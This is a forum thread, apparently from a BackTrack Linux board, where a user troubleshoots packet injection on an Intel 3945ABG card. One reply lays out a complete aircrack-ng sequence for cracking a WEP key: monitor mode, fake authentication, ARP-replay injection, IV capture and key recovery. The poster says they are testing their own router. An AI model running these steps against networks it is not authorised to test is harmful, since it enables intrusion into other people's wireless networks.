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    Default Problem ipraw and 3945ABG

    Hi to all!

    I'm using Backtrack 4 on my notebook, and the wireless adapter is Intel 3945ABG

    I found and tried to use these commands to load the injection drivers:
    modprobe -r iwl3945
    modprobe ipwraw

    But I get

    Fatal! module ipwraw not found

    Can anyone tell me please what's wrong with it?

    Thanks in advance!
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    Their is no longer a need to load special drivers for that card in Backtrack 4. You just need to airmon-ng start wlan0 and it will create a device (mon0) in monitor mode.

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    if you want to stick with bt3 the basic steps are, upgrade the kernel and install the other drivers (ipw3945 i think they are called). its not the easiest thing but its a great learning experience.
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    Hi again!
    Ok, the adapter works, but now the problem is I don't get any IV packet!
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    Try to get closer to the AP.
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    I'm trying with my router... and it's very close!

    But... can I inject with this adapter?
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    Yes you can. I have the same card and have tested it intensively.
    Works out of the box in bt4 and with all the wireless tools that you can find in it.
    I think that the solution to your problem isn't the cards driver but your approach (should read more).
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    Ok, here are the commands I use, they work well with my Netgear WG511T

    Start the device in monitor mode:
    airmon-ng start wlan0

    Show the available access points:
    airodump-ng -c [canal] mon0

    Fake authentication:
    aireplay-ng -1 1 -e [ESSID AP] -a [MAC AP] -h [MAC device] mon0

    At the same time in another shell, ARP request:
    aireplay-ng -3 -b [MAC AP] -h [MAC device] mon0

    At the same time in another shell, capture IVs:
    airodump-ng -c [canal] --bssid [MAC AP] -w capture mon0

    At the same time in another shell, find the WEP key:
    aircrack-ng -z capture*.cap
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    Try starting the card on a set channel

    airmon-ng start wlan0 11

    change 11 for whatever channel your ap is broadcasting on
    then try

    aireplay-ng --test mon0

    this will tell you if injections working or not
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    Many thanks for your help!

    The test says injection should work

    However, maybe there's something wrong with my router, a D-Link DI-524: with WEP, you can choose "open", "shared key" or "both"
    If I choose "open", I can't get any IVs; if I choose "shared key", I can't perform a fake authentication (yeah, I searched and discovered why)
    So, I remember I succesfully found my WEP key choosing "both" using my Netgear WG511T, but now I can't find it anymore neither with it!
    I can get only a few IVs
    I can't really understand what's wrong now
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